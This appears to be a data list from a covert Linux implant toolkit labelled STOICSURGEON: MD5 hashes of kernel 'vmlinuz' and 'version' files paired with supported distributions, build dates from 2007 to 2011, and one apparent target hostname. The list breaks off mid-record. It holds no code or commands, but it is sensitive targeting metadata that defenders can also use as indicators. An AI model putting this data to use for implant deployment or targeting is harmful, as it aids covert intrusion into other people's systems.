a2081b1018219e10c9bdb99f43d229da vmlinuz STOICSURGEON-Linux Wed Aug 8 2007 +1.2.6.2 ddf0aac5f5ec383dedc4ef83c599ac91 vmlinuz STOICSURGEON-Linux Wed Aug 8 2007 +1.2.6.2 8c982b6ae60c12a6029b5c21376c799c vmlinuz STOICSURGEON-Linux Wed Aug 8 2007 +1.2.6.2 076d442009214e62f10146f8dc96c8cb vmlinuz STOICSURGEON-Linux Wed Aug 8 2007 +1.2.6.2 a7a6a1d88660615f357fef276140ddd7 vmlinuz STOICSURGEON-Linux Wed Aug 8 2007 +1.2.6.2 b19d6c868422958a295108c464b6b40f vmlinuz STOICSURGEON-Linux Wed Aug 8 2007 +1.2.6.2 df50993ce0c28da8b58ea891102076fa vmlinuz STOICSURGEON-Linux Wed Aug 8 2007 +1.2.6.2 72abf3d8ae553a509ce40c2309aa9127 vmlinuz STOICSURGEON-Linux Wed Aug 8 2007 +1.2.6.2 94840ee9c325e8d1bee60f2ddae979bf vmlinuz STOICSURGEON-Linux Wed Aug 8 2007 +1.2.6.2 cb1bb0741c3aedd3abe2c77a640fee0b vmlinuz STOICSURGEON-Linux Wed Aug 8 2007 +1.2.6.2 0e41364cf08de2b9a189bbe13c319bd0 vmlinuz STOICSURGEON-Linux Wed Aug 8 2007 +1.2.6.2 ab175ddc446fee4ec09e8310217c71f8 vmlinuz STOICSURGEON-Linux Wed Aug 8 2007 +1.2.6.2 54aa0371c6eb8b644173f8fad15cd570 vmlinuz STOICSURGEON-Linux Wed Aug 8 2007 +1.2.6.2 1fed33ba3f2d53affc2404771850c742 vmlinuz STOICSURGEON-Linux Wed Aug 8 2007 +1.2.6.2 c4238d0c25a67d60281162e9e80ab0cc vmlinuz STOICSURGEON-Linux Wed Aug 8 2007 +1.2.6.2 4e39a403d0a7451b6c39f268fa5550f7 vmlinuz STOICSURGEON-Linux Wed Aug 8 2007 +1.2.6.2 080f036d42b41bfdc49cb862625990dc vmlinuz STOICSURGEON-Linux Wed Aug 8 2007 +1.2.6.2 bb8dade743722c2ef3c8a811c145fdac vmlinuz STOICSURGEON-Linux Wed Aug 8 2007 +1.2.6.2 41ac3e4ab38271b3f4b3098d0bdeb340 vmlinuz STOICSURGEON-Linux Wed Aug 8 2007 +1.2.10.1 90f1e3b60caf792bf91066ab75e0d7d4 vmlinuz STOICSURGEON-Linux Wed Sep 5 2007 +1.2.10.1 cd23994c39661cad3a4a2cf838ccbae5 vmlinuz STOICSURGEON-Linux Wed Sep 5 2007 +1.2.10.1 c364d848514e46f606f3e9522fd8ff55 vmlinuz STOICSURGEON-Linux Wed Sep 5 2007 +1.2.10.4 112a3721b4d94c1904bfa50933358961 version STOICSURGEON-Linux Mon Sep 10 2007 +1.2.10.4 767713079201923063914447609e5a18 version STOICSURGEON-Linux Mon Sep 10 2007 +1.2.10.4 bf020276e02a72ba258671f352d607a8 version STOICSURGEON-Linux Mon Sep 10 2007 +1.2.10.4 1f950a2d633bdfe3c40ea79074b41295 version STOICSURGEON-Linux Mon Sep 10 2007 +1.2.10.4 acaa3a302e12e2e65f6ff8a22b30ba2b version STOICSURGEON-Linux Mon Sep 10 2007 +1.2.10.4 6fa72b9b64ce9fd24b5bd3d3080ac665 version STOICSURGEON-Linux Mon Sep 10 2007 +1.2.10.4 bbf0611d3d4fffd2574a37dc5c831f7a version STOICSURGEON-Linux Mon Sep 10 2007 +1.2.10.4 e8c6191a7f7176f7d540d2e7fb327b8e version STOICSURGEON-Linux Mon Sep 10 2007 +1.2.10.4 a9a474d4291dd902e96e17895e95c15e version STOICSURGEON-Linux Mon Sep 10 2007 +1.2.10.2 cebaa3b284fac1ec73fe0f1226f24d4d version STOICSURGEON-Linux Thu Sep 6 2007 +1.2.10.2 bff57a4ea943203ce7e61d7d24589462 version STOICSURGEON-Linux Thu Sep 6 2007 +1.2.4.6 acf4af6fdd792830c782a47fa55fc771 vmlinuz STOICSURGEON-Linux Wed Jul 25 2007 +1.2.4.6 07724f5718d1d82b1d3d1ae77a62cf88 vmlinuz STOICSURGEON-Linux Wed Jul 25 2007 +1.2.4.6 ace38ee5fc28bbfb37aa5301bc0e90f0 vmlinuz STOICSURGEON-Linux Wed Jul 25 2007 +1.2.4.6 58d1c518f089f0bab11b21f8bf7c7eeb vmlinuz STOICSURGEON-Linux Wed Jul 25 2007 +1.2.4.6 21539358d472d78262a001557198fae3 vmlinuz STOICSURGEON-Linux Wed Jul 25 2007 +1.2.4.6 b1d99df447c2acca46e0dda5737c5c37 vmlinuz STOICSURGEON-Linux Wed Jul 25 2007 +1.2.4.6 2b3a9bcc8e6e80a10a9d6e5cd778d09b vmlinuz STOICSURGEON-Linux Wed Jul 25 2007 +1.2.4.6 0ce308e0267b0d65f2f019988202bc87 vmlinuz STOICSURGEON-Linux Wed Jul 25 2007 +1.2.4.6 50b42864c79525e2bafbd564caf56777 vmlinuz STOICSURGEON-Linux Wed Jul 25 2007 +1.2.4.6 3083b56781b004e6e850cfe06d385b44 vmlinuz STOICSURGEON-Linux Wed Jul 25 2007 +1.2.4.6 54ab7c356446c37f504d0a004bfc5647 vmlinuz STOICSURGEON-Linux Wed Jul 25 2007 +1.2.4.6 a7b8874e6ef4fe9f1b54eb29d701798d vmlinuz STOICSURGEON-Linux Wed Jul 25 2007 +1.3.3.1 da3be437e68b356f5fa7a3fd43b6fbdb version STOICSURGEON-Linux Wed Dec 5 2007 +1.3.3.1 8bd33074c2afa34f914c269475d77248 version STOICSURGEON-Linux Wed Dec 5 2007 +1.3.3.1 c5efaba6dbab05efb794437a8e35f6c4 version STOICSURGEON-Linux Wed Dec 5 2007 +1.3.2.1 34e893aa4033d34c979ce7f0c0cb462c version STOICSURGEON-Linux Mon Dec 3 2007 +1.3.2.1 7690ab1cc44f3298d903b5332a36008e version STOICSURGEON-Linux Mon Dec 3 2007 +1.3.4.2 5983bd5a727e437361366ed416c8a420 version STOICSURGEON-Linux Tue Dec 11 2007 +1.3.4.2 36485a957b336d38873c870e2d9df44e version STOICSURGEON-Linux Tue Dec 11 2007 +1.3.4.2 dcb2312bb8318da7c876e2d53c4c2f70 version STOICSURGEON-Linux Tue Dec 11 2007 +1.3.4.2 b2a4aa4bdb88b44f357ddd2b8d990cd7 version STOICSURGEON-Linux Tue Dec 11 2007 +1.4.0.1 a7fc35dfcc6681102ba140f8466a3057 version STOICSURGEON-Linux Thu Feb 7 2008 +1.4.0.1 25857fd65a56e81ff757c53a57d6d194 vmlinuz STOICSURGEON-Linux Thu Feb 7 2008 +1.4.0.1 a55f2456f9588fc492c746a53b3eab72 version STOICSURGEON-Linux Thu Feb 7 2008 +1.4.0.1 d89095a8dc8667351b268deb633fc496 vmlinuz STOICSURGEON-Linux Thu Feb 7 2008 +1.4.0.1 6a7707b968020d7cf9fa5d73befa0978 version STOICSURGEON-Linux Thu Feb 7 2008 +1.4.0.1 03ad885141b4587a3857bc2f6286a138 vmlinuz STOICSURGEON-Linux Thu Feb 7 2008 +1.4.0.1 aeb820af82f0eb2bfbb5a4e97a10b4f0 version STOICSURGEON-Linux Thu Feb 7 2008 +1.4.0.1 7f25d78e941e3b7fd864ae59c7e7ae8e vmlinuz STOICSURGEON-Linux Thu Feb 7 2008 +1.4.5.1 77b3e909386f87d8e8cbdafef6bd64dd version STOICSURGEON-Linux Wed Mar 5 2008 +1.4.5.1 a316fb46b3ffea08bc3ca9bfe4ecb935 vmlinuz STOICSURGEON-Linux Wed Mar 5 2008 +1.4.5.1 9b68fcbe08fbc6ca73322d47753b28ee version STOICSURGEON-Linux Wed Mar 5 2008 +1.4.5.1 a71e7abce43fb3a62066007d7ad2c0e6 vmlinuz STOICSURGEON-Linux Wed Mar 5 2008 +1.4.5.1 a0958eb4a144bcb270ea155a308d4218 version STOICSURGEON-Linux Wed Mar 5 2008 +1.4.5.1 89c032888e32fb09365873c6cc719c63 vmlinuz STOICSURGEON-Linux Wed Mar 5 2008 +1.4.5.1 f13011eaf7342a6a28961a1779a3153d version STOICSURGEON-Linux Wed Mar 5 2008 +1.4.5.1 94fc0a5fa52ef4cc0e4ce7de15edeb47 vmlinuz STOICSURGEON-Linux Wed Mar 5 2008 +1.4.10.2 a7fc35dfcc6681102ba140f8466a3057 version STOICSURGEON-Linux Thu Mar 20 2008 +1.4.10.2 25857fd65a56e81ff757c53a57d6d194 vmlinuz STOICSURGEON-Linux Thu Mar 20 2008 +1.4.10.2 a55f2456f9588fc492c746a53b3eab72 version STOICSURGEON-Linux Thu Mar 20 2008 +1.4.10.2 d89095a8dc8667351b268deb633fc496 vmlinuz STOICSURGEON-Linux Thu Mar 20 2008 +1.4.10.2 6a7707b968020d7cf9fa5d73befa0978 version STOICSURGEON-Linux Thu Mar 20 2008 +1.4.10.2 03ad885141b4587a3857bc2f6286a138 vmlinuz STOICSURGEON-Linux Thu Mar 20 2008 +1.4.10.2 aeb820af82f0eb2bfbb5a4e97a10b4f0 version STOICSURGEON-Linux Thu Mar 20 2008 +1.4.10.2 7f25d78e941e3b7fd864ae59c7e7ae8e vmlinuz STOICSURGEON-Linux Thu Mar 20 2008 +1.4.10.4 927f8c9566223d7138b03e0a21f181c5 version STOICSURGEON-Linux Thu Mar 20 2008 +1.4.10.4 d6d4d20ab6f5cf8660842317a0c948e6 vmlinuz STOICSURGEON-Linux Thu Mar 20 2008 +1.4.10.4 6fb0cc48579e4de5d15f0755dfbaa1d5 version STOICSURGEON-Linux Thu Mar 20 2008 +1.4.10.4 23fd4cc57c5fcb661a45ca619b902949 vmlinuz STOICSURGEON-Linux Thu Mar 20 2008 +1.4.10.1 77b3e909386f87d8e8cbdafef6bd64dd version STOICSURGEON-Linux Thu Mar 20 2008 +1.4.10.1 a316fb46b3ffea08bc3ca9bfe4ecb935 vmlinuz STOICSURGEON-Linux Thu Mar 20 2008 +1.4.10.1 9b68fcbe08fbc6ca73322d47753b28ee version STOICSURGEON-Linux Thu Mar 20 2008 +1.4.10.1 a71e7abce43fb3a62066007d7ad2c0e6 vmlinuz STOICSURGEON-Linux Thu Mar 20 2008 +1.4.10.1 a0958eb4a144bcb270ea155a308d4218 version STOICSURGEON-Linux Thu Mar 20 2008 +1.4.10.1 89c032888e32fb09365873c6cc719c63 vmlinuz STOICSURGEON-Linux Thu Mar 20 2008 +1.4.10.1 f13011eaf7342a6a28961a1779a3153d version STOICSURGEON-Linux Thu Mar 20 2008 +1.4.10.1 94fc0a5fa52ef4cc0e4ce7de15edeb47 vmlinuz STOICSURGEON-Linux Thu Mar 20 2008 +1.4.10.9 e8f8fb69f9d3dd4a5bfb81a5392b1270 version STOICSURGEON-Linux Fri Mar 28 2008 +1.4.10.9 2df4ec9e5152c1fe739f17f454e49d8a vmlinuz STOICSURGEON-Linux Fri Mar 28 2008 +1.4.10.3 767713079201923063914447609e5a18 version STOICSURGEON-Linux Thu Mar 20 2008 +1.4.10.3 8822ffd826016ee0611cdfb1c4fa4f7b vmlinuz STOICSURGEON-Linux Thu Mar 20 2008 +1.4.10.3 bf020276e02a72ba258671f352d607a8 version STOICSURGEON-Linux Thu Mar 20 2008 +1.4.10.3 561ca6c870567875e5522d3275e59977 vmlinuz STOICSURGEON-Linux Thu Mar 20 2008 +1.4.10.3 6fa72b9b64ce9fd24b5bd3d3080ac665 version STOICSURGEON-Linux Thu Mar 20 2008 +1.4.10.3 09987b7b5bbddad6c54c872ee7e93f21 vmlinuz STOICSURGEON-Linux Thu Mar 20 2008 +1.4.10.3 629dc2d46ae8110e2ddfcf4bb1659464 version STOICSURGEON-Linux Thu Mar 20 2008 +1.4.10.3 0ad46aef1a7588a0bffbd33eb41c7219 vmlinuz STOICSURGEON-Linux Thu Mar 20 2008 +1.4.10.12 29adc81ebe96cae913e83b381e3f0200 version STOICSURGEON-Linux Tue Apr 1 2008 +1.4.10.12 bf800fdb4b925c82670abc5ef292bac7 vmlinuz STOICSURGEON-Linux Tue Apr 1 2008 +1.4.10.12 8b7cef40050d24391f20746ad87ef55a version STOICSURGEON-Linux Tue Apr 1 2008 +1.4.10.12 502f7d62cb8f5ca4f066a8c67514013c vmlinuz STOICSURGEON-Linux Tue Apr 1 2008 +1.4.10.13 4258e649f3a3684c868eefee79c92bc1 version STOICSURGEON-Linux Fri Apr 4 2008 +1.4.10.13 27ee0e301953902acd081d7111dc6a25 vmlinuz STOICSURGEON-Linux Fri Apr 4 2008 +1.4.10.10 ef8596e06b1d8ffa2834c3c027adcc5c version STOICSURGEON-Linux Mon Mar 31 2008 +1.4.10.10 616e604d46440ee390d0b509c1afcb08 vmlinuz STOICSURGEON-Linux Mon Mar 31 2008 +1.4.10.10 1b01c2d3c3d6868ce1dad5988ef18dfc version STOICSURGEON-Linux Mon Mar 31 2008 +1.4.10.10 77cbbe842c4565c6f4fe2c97f32efd2d vmlinuz STOICSURGEON-Linux Mon Mar 31 2008 +1.4.10.10 463aa239a147145816a2e19deff5e8bb version STOICSURGEON-Linux Mon Mar 31 2008 +1.4.10.10 0cdeb6b6634839cb4251d612fc3b0bf0 vmlinuz STOICSURGEON-Linux Mon Mar 31 2008 +1.4.10.10 36b0e97ff322e982307f79f1386f9c1f version STOICSURGEON-Linux Mon Mar 31 2008 +1.4.10.10 8748de5f53df0c030e34b38c1a558466 vmlinuz STOICSURGEON-Linux Mon Mar 31 2008 +1.4.12.1 77c374c97999fac07306936bb06b7b2d version STOICSURGEON-Linux Sat May 17 2008 +1.4.12.1 aba8baa96f278f89895fca076f09b4ba vmlinuz STOICSURGEON-Linux Sat May 17 2008 +1.4.12.1 6daa89c84ff812d51afcceb28d0ac618 version STOICSURGEON-Linux Sat May 17 2008 +1.4.12.1 db3522b3adf8a2a8a46dff6f62b4e8ca vmlinuz STOICSURGEON-Linux Sat May 17 2008 +1.4.12.1 1967e308cb238310ffc29e6e37a63f33 version STOICSURGEON-Linux Sat May 17 2008 +1.4.12.1 4c63ee998a3d3f2d698c9d00c05e32fc vmlinuz STOICSURGEON-Linux Sat May 17 2008 +1.4.12.1 0e270bf0d455e5009ed09a7d1b23d95f version STOICSURGEON-Linux Sat May 17 2008 +1.4.12.1 12c6163cd12232fabc1f5d4f69eb13f6 vmlinuz STOICSURGEON-Linux Sat May 17 2008 +1.4.12.2 69bb14e73f30330392595c3cf93f6c3a version STOICSURGEON-Linux Thu Jun 26 2008 +1.4.12.2 3840bf35aa3728e2903f1165fd1bec97 vmlinuz STOICSURGEON-Linux Thu Jun 26 2008 +1.4.23.1 ecda7b76e853a68183db5929640a6c1c version STOICSURGEON-Linux Thu Oct 2 2008 +1.4.23.1 96aa4535f4a322dd1893a596dd407de1 vmlinuz STOICSURGEON-Linux Thu Oct 2 2008 +1.4.23.2 22008d2af43bebe1d291cfef5c3e7446 version STOICSURGEON-Linux Thu Oct 2 2008 +1.4.23.2 c4e1cc48081de0e859c7a5f7295bf375 vmlinuz STOICSURGEON-Linux Thu Oct 2 2008 +1.4.23.2 6170234ab66af353ace557ddc668aabc version STOICSURGEON-Linux Thu Oct 2 2008 +1.4.23.2 74aaac6efdd465ab4c386f6d77fb741e vmlinuz STOICSURGEON-Linux Thu Oct 2 2008 +1.4.23.2 387b5746771a30e8cb64147bdfa16985 version STOICSURGEON-Linux Thu Oct 2 2008 +1.4.23.2 2d05392e419f2a4a7f72978d7a717e22 vmlinuz STOICSURGEON-Linux Thu Oct 2 2008 +1.4.17.2 22008d2af43bebe1d291cfef5c3e7446 version STOICSURGEON-Linux Tue Aug 26 2008 +1.4.17.2 02c821e7f33801f5a03b0b0d528fa593 vmlinuz STOICSURGEON-Linux Tue Aug 26 2008 +1.4.17.2 6170234ab66af353ace557ddc668aabc version STOICSURGEON-Linux Tue Aug 26 2008 +1.4.17.2 26554869fe48b383117e9d87b84cf8eb vmlinuz STOICSURGEON-Linux Tue Aug 26 2008 +1.4.17.2 387b5746771a30e8cb64147bdfa16985 version STOICSURGEON-Linux Tue Aug 26 2008 +1.4.17.2 ae304513734e2bb7e44b055de8204b23 vmlinuz STOICSURGEON-Linux Tue Aug 26 2008 +1.4.17.1 ecda7b76e853a68183db5929640a6c1c version STOICSURGEON-Linux Tue Aug 26 2008 +1.4.17.1 96aa4535f4a322dd1893a596dd407de1 vmlinuz STOICSURGEON-Linux Tue Aug 26 2008 +1.4.17.7 3a39246b95250dee564288fc15babd91 version STOICSURGEON-Linux Wed Sep 3 2008 +1.4.17.7 4d22029bdf949bea77f54e6c87b92bd7 vmlinuz STOICSURGEON-Linux Wed Sep 3 2008 +1.4.17.7 bff57a4ea943203ce7e61d7d24589462 version STOICSURGEON-Linux Wed Sep 3 2008 +1.4.17.7 69a9a365aefdc12877f386f06698ab03 vmlinuz STOICSURGEON-Linux Wed Sep 3 2008 +1.4.15.1 5bff58616b3e5bc8ad0a16f1c958a0e9 version STOICSURGEON-x86-Linux-centos Wed Jul 30 2008 +1.4.15.1 6d439aadabb19ee8ffd0905de3cbb76a vmlinuz STOICSURGEON-x86-Linux-centos Wed Jul 30 2008 +1.4.15.1 d5a8cda2820babab8fdf82a4815975ca version STOICSURGEON-x86-Linux-centos Wed Jul 30 2008 +1.4.15.1 69ec9e545e41c93bab6774c049c63849 vmlinuz STOICSURGEON-x86-Linux-centos Wed Jul 30 2008 +1.4.15.1 2bcdef4cfeb049e9a8d6a6c3175d7ba2 version STOICSURGEON-x86-Linux-centos Wed Jul 30 2008 +1.4.15.1 fae91ddf0474037df617c910aa3ebb27 vmlinuz STOICSURGEON-x86-Linux-centos Wed Jul 30 2008 +1.4.17.5 c84f26a8f735d8d0f638b28c42c33e1e version STOICSURGEON-x86-Linux-centos Thu Aug 28 2008 +1.4.17.5 c020e1cc9c0387f8bba0492a227457d1 vmlinuz STOICSURGEON-x86-Linux-centos Thu Aug 28 2008 +1.4.17.5 b46ab79933d067d04ab2718bb8340bc5 version STOICSURGEON-x86-Linux-centos Thu Aug 28 2008 +1.4.17.5 3e7c8ee4cddf3722d7d04fbe45307aba vmlinuz STOICSURGEON-x86-Linux-centos Thu Aug 28 2008 +1.4.17.5 3e787dd77f004ee21c64524ad20754c4 version STOICSURGEON-x86-Linux-centos Thu Aug 28 2008 +1.4.17.5 89fb30a0e8548c83a0bca16ef0a375f5 vmlinuz STOICSURGEON-x86-Linux-centos Thu Aug 28 2008 +1.4.17.5 9520e519d5246efb8e0a81dc07f080fe version STOICSURGEON-x86-Linux-centos Thu Aug 28 2008 +1.4.17.5 f9488d090556438f27b68ca25b8993af vmlinuz STOICSURGEON-x86-Linux-centos Thu Aug 28 2008 +1.4.17.5 8ff6469775bb963edee667454a8d10eb version STOICSURGEON-x86-Linux-centos Thu Aug 28 2008 +1.4.17.5 a9859826cfa6eb83daac7f29f5e0a796 vmlinuz STOICSURGEON-x86-Linux-centos Thu Aug 28 2008 +1.4.17.5 694a0df9161e0ca13ec7e75a9ad702cd version STOICSURGEON-x86-Linux-centos Thu Aug 28 2008 +1.4.17.5 2eff77c0722143225e14b07d70e3d410 vmlinuz STOICSURGEON-x86-Linux-centos Thu Aug 28 2008 +1.4.17.5 8d37ad2d6a66efb7ee74a03472f128e9 version STOICSURGEON-x86-Linux-centos Thu Aug 28 2008 +1.4.17.5 87aaaa1fb4f26525819b2c8e56b69cb5 vmlinuz STOICSURGEON-x86-Linux-centos Thu Aug 28 2008 +1.4.17.5 431c73b5a4ae7c910364da42807bf7e3 version STOICSURGEON-x86-Linux-centos Thu Aug 28 2008 +1.4.17.5 fe0a55d4a140a35413ccd480dd1b219c vmlinuz STOICSURGEON-x86-Linux-centos Thu Aug 28 2008 +1.4.17.8 1bc6985ccc6c483eade40b7ce8282bd8 version STOICSURGEON-x86-Linux-centos Wed Sep 3 2008 +1.4.17.8 29b30c6573159d8a6fb4427bfe0c8216 vmlinuz STOICSURGEON-x86-Linux-centos Wed Sep 3 2008 +1.4.21.1 e8f8fb69f9d3dd4a5bfb81a5392b1270 version STOICSURGEON-x86-Linux-centos Mon Sep 22 2008 +1.4.21.1 2df4ec9e5152c1fe739f17f454e49d8a vmlinuz STOICSURGEON-x86-Linux-centos Mon Sep 22 2008 +1.4.21.1 4d0bc7b8818ce352fc9ea5c9436549fd version STOICSURGEON-x86-Linux-centos Mon Sep 22 2008 +1.4.21.1 895a1ab561cd3e498f9d486ebc9cca38 vmlinuz STOICSURGEON-x86-Linux-centos Mon Sep 22 2008 +1.7.11.2 467d84e69afce0aba921a2dad8e3374a version STOICSURGEON-X86-LINUX-TARIGH-3 Fri Aug 19 2011 +1.7.11.2 d2748bf9d7b2de2f75214c62d80829ae vmlinuz STOICSURGEON-X86-LINUX-TARIGH-3 Fri Aug 19 2011 +1.7.13.9 467d84e69afce0aba921a2dad8e3374a version STOICSURGEON-X86-LINUX-TARIGH-3 Thu Oct 13 2011 +1.7.13.9 d2748bf9d7b2de2f75214c62d80829ae vmlinuz STOICSURGEON-X86-LINUX-TARIGH-3 Thu Oct 13 2011 +1.7.13.9 9744bf9946e59ffa29ddfbcbc4085d56 version STOICSURGEON-X86-LINUX-TARIGH-3 Thu Oct 13 2011 +1.7.13.9 2e082fbd23126d4d35ecffa570f4c84d vmlinuz STOICSURGEON-X86-LINUX-TARIGH-3 Thu Oct 13 2011 +1.7.14.41 70aba9c04aa067c4a2ef0f1a5a3b41a1 version STOICSURGEON-X86-LINUX-TARIGH-3 Thu Dec 15 2011 +1.7.14.41 1fbd8ea5750aea585c62d03bbf70ef9d vmlinuz STOICSURGEON-X86-LINUX-TARIGH-3 Thu Dec 15 2011 +1.7.14.41 9744bf9946e59ffa29ddfbcbc4085d56 version STOICSURGEON-X86-LINUX-TARIGH-3 Thu Dec 15 2011 +1.7.14.41 2e082fbd23126d4d35ecffa570f4c84d vmlinuz STOICSURGEON-X86-LINUX-TARIGH-3 Thu Dec 15 2011 +1.7.14.41 467d84e69afce0aba921a2dad8e3374a version STOICSURGEON-X86-LINUX-TARIGH-3 Thu Dec 15 2011 +1.7.14.41 d2748bf9d7b2de2f75214c62d80829ae vmlinuz STOICSURGEON-X86-LINUX-TARIGH-3 Thu Dec 15 2011 +1.3.4.3 97113a4f26f0ef7ba9e00d2f542adff7 version STOICSURGEON-x86-Linux-TILTTOP Wed Dec 12 2007 +1.3.4.3 d230c21f6944fcc6d13f7de05d6d7fa7 version STOICSURGEON-x86-Linux-TILTTOP Wed Dec 12 2007 +1.3.4.3 793d8b3c7ab8237c2f7ecc42a388de1d version STOICSURGEON-x86-Linux-TILTTOP Wed Dec 12 2007 +1.3.4.3 f941a196f2bd763060554286ff478c4d version STOICSURGEON-x86-Linux-TILTTOP Wed Dec 12 2007 +1.3.4.3 fafe9448d19febe588f9d54c5d3ef8e2 version STOICSURGEON-x86-Linux-TILTTOP Wed Dec 12 2007 +1.4.17.6 cebaa3b284fac1ec73fe0f1226f24d4d version STOICSURGEON-x86-Linux-fedora Tue Sep 2 2008 +1.4.17.6 33211a880e5cfd30eb9a2c0f56f8628d vmlinuz STOICSURGEON-x86-Linux-fedora Tue Sep 2 2008 +1.4.17.6 bff57a4ea943203ce7e61d7d24589462 version STOICSURGEON-x86-Linux-fedora Tue Sep 2 2008 +1.4.17.6 69a9a365aefdc12877f386f06698ab03 vmlinuz STOICSURGEON-x86-Linux-fedora Tue Sep 2 2008 +1.4.23.9 3a39246b95250dee564288fc15babd91 version STOICSURGEON-X86-LINUX-TILTTOP-NS.SNZ.RU Mon Oct 6 2008 +1.4.23.9 4d22029bdf949bea77f54e6c87b92bd7 vmlinuz STOICSURGEON-X86-LINUX-TILTTOP-NS.SNZ.RU Mon Oct 6 2008 +1.4.23.9 bff57a4ea943203ce7e61d7d24589462 version STOICSURGEON-X86-LINUX-TILTTOP-NS.SNZ.RU Mon Oct 6 2008 +1.4.23.9 69a9a365aefdc12877f386f06698ab03 vmlinuz STOICSURGEON-X86-LINUX-TILTTOP-NS.SNZ.RU Mon Oct 6 2008 +1.4.24.5 5983bd5a727e437361366ed416c8a420 version STOICSURGEON-X86-LINUX-SUSE-10.0 Fri Oct 10 2008 +1.4.24.5 f956174f3ea807c02abfb3895e575c8c vmlinuz STOICSURGEON-X86-LINUX-SUSE-10.0 Fri Oct 10 2008 +1.4.24.5 36485a957b336d38873c870e2d9df44e version STOICSURGEON-X86-LINUX-SUSE-10.0 Fri Oct 10 2008 +1.4.24.5 559f4dff4a8958a982686970c821ad77 vmlinuz STOICSURGEON-X86-LINUX-SUSE-10.0 Fri Oct 10 2008 +1.4.24.5 dcb2312bb8318da7c876e2d53c4c2f70 version STOICSURGEON-X86-LINUX-SUSE-10.0 Fri Oct 10 2008 +1.4.24.5 f116701d955dc792740dc2d35cf7dfff vmlinuz STOICSURGEON-X86-LINUX-SUSE-10.0 Fri Oct 10 2008 +1.4.24.5 b2a4aa4bdb88b44f357ddd2b8d990cd7 version STOICSURGEON-X86-LINUX-SUSE-10.0 Fri Oct 10 2008 +1.4.24.5 fb6bfbb95612f4f983cf98f3f77616c8 vmlinuz STOICSURGEON-X86-LINUX-SUSE-10.0 Fri Oct 10 2008 +1.5.4.3 5983bd5a727e437361366ed416c8a420 version STOICSURGEON-X86-LINUX-SUSE-10.0 Fri Jun 19 2009 +1.5.4.3 f956174f3ea807c02abfb3895e575c8c vmlinuz STOICSURGEON-X86-LINUX-SUSE-10.0 Fri Jun 19 2009 +1.5.4.3 36485a957b336d38873c870e2d9df44e version STOICSURGEON-X86-LINUX-SUSE-10.0 Fri Jun 19 2009 +1.5.4.3 cef1e09e9da33d41151e741c3fbc4283 vmlinuz STOICSURGEON-X86-LINUX-SUSE-10.0 Fri Jun 19 2009 +1.5.4.3 dcb2312bb8318da7c876e2d53c4c2f70 version STOICSURGEON-X86-LINUX-SUSE-10.0 Fri Jun 19 2009 +1.5.4.3 f116701d955dc792740dc2d35cf7dfff vmlinuz STOICSURGEON-X86-LINUX-SUSE-10.0 Fri Jun 19 2009 +1.5.4.3 b2a4aa4bdb88b44f357ddd2b8d990cd7 version STOICSURGEON-X86-LINUX-SUSE-10.0 Fri Jun 19 2009 +1.5.4.3 fb6bfbb95612f4f983cf98f3f77616c8 vmlinuz STOICSURGEON-X86-LINUX-SUSE-10.0 Fri Jun 19 2009 +1.5.17.5 5983bd5a727e437361366ed416c8a420 version STOICSURGEON-X86-LINUX-SUSE-10.0 Tue Dec 8 2009 +1.5.17.5 f956174f3ea807c02abfb3895e575c8c vmlinuz STOICSURGEON-X86-LINUX-SUSE-10.0 Tue Dec 8 2009 +1.5.17.5 dcb2312bb8318da7c876e2d53c4c2f70 version STOICSURGEON-X86-LINUX-SUSE-10.0 Tue Dec 8 2009 +1.5.17.5 f116701d955dc792740dc2d35cf7dfff vmlinuz STOICSURGEON-X86-LINUX-SUSE-10.0 Tue Dec 8 2009 +1.5.17.5 b2a4aa4bdb88b44f357ddd2b8d990cd7 version STOICSURGEON-X86-LINUX-SUSE-10.0 Tue Dec 8 2009 +1.5.17.5 fb6bfbb95612f4f983cf98f3f77616c8 vmlinuz STOICSURGEON-X86-LINUX-SUSE-10.0 Tue Dec 8 2009 +1.5.17.6 5983bd5a727e437361366ed416c8a420 version STOICSURGEON-X86-LINUX-SUSE-10.0 Fri Dec 18 2009 +1.5.17.6 f956174f3ea807c02abfb3895e575c8c vmlinuz STOICSURGEON-X86-LINUX-SUSE-10.0 Fri Dec 18 2009 +1.5.17.6 dcb2312bb8318da7c876e2d53c4c2f70 version STOICSURGEON-X86-LINUX-SUSE-10.0 Fri Dec 18 2009 +1.5.17.6 f116701d955dc792740dc2d35cf7dfff vmlinuz STOICSURGEON-X86-LINUX-SUSE-10.0 Fri Dec 18 2009 +1.5.17.6 b2a4aa4bdb88b44f357ddd2b8d990cd7 version STOICSURGEON-X86-LINUX-SUSE-10.0 Fri Dec 18 2009 +1.5.17.6 fb6bfbb95612f4f983cf98f3f77616c8 vmlinuz STOICSURGEON-X86-LINUX-SUSE-10.0 Fri Dec 18 2009 +1.5.17.6 ac1494cfe6e1f069d50ccc5446d266be version STOICSURGEON-X86-LINUX-SUSE-10.0 Fri Dec 18 2009 +1.5.17.6 2116621abb6bd7da26a67e3b5566577c vmlinuz STOICSURGEON-X86-LINUX-SUSE-10.0 Fri Dec 18 2009 +1.5.17.6 1b15ff80c4c93afec2963ffa4f68ab3e version STOICSURGEON-X86-LINUX-SUSE-10.0 Fri Dec 18 2009 +1.5.17.6 5eec98780bef1d0f9eb30d60c9ba1fbd vmlinuz STOICSURGEON-X86-LINUX-SUSE-10.0 Fri Dec 18 2009 +1.5.17.6 7a90130ee5d446aeaf2d495014f94b25 version STOICSURGEON-X86-LINUX-SUSE-10.0 Fri Dec 18 2009 +1.5.17.6 6d6a988ea5764de56d590bb9d2e8d606 vmlinuz STOICSURGEON-X86-LINUX-SUSE-10.0 Fri Dec 18 2009 +1.4.24.3 767713079201923063914447609e5a18 version STOICSURGEON-X86-LINUX-REDHAT-7.3 Fri Oct 10 2008 +1.4.24.3 8822ffd826016ee0611cdfb1c4fa4f7b vmlinuz STOICSURGEON-X86-LINUX-REDHAT-7.3 Fri Oct 10 2008 +1.4.24.3 bf020276e02a72ba258671f352d607a8 version STOICSURGEON-X86-LINUX-REDHAT-7.3 Fri Oct 10 2008 +1.4.24.3 561ca6c870567875e5522d3275e59977 vmlinuz STOICSURGEON-X86-LINUX-REDHAT-7.3 Fri Oct 10 2008 +1.4.24.3 6fa72b9b64ce9fd24b5bd3d3080ac665 version STOICSURGEON-X86-LINUX-REDHAT-7.3 Fri Oct 10 2008 +1.4.24.3 09987b7b5bbddad6c54c872ee7e93f21 vmlinuz STOICSURGEON-X86-LINUX-REDHAT-7.3 Fri Oct 10 2008 +1.4.24.3 629dc2d46ae8110e2ddfcf4bb1659464 version STOICSURGEON-X86-LINUX-REDHAT-7.3 Fri Oct 10 2008 +1.4.24.3 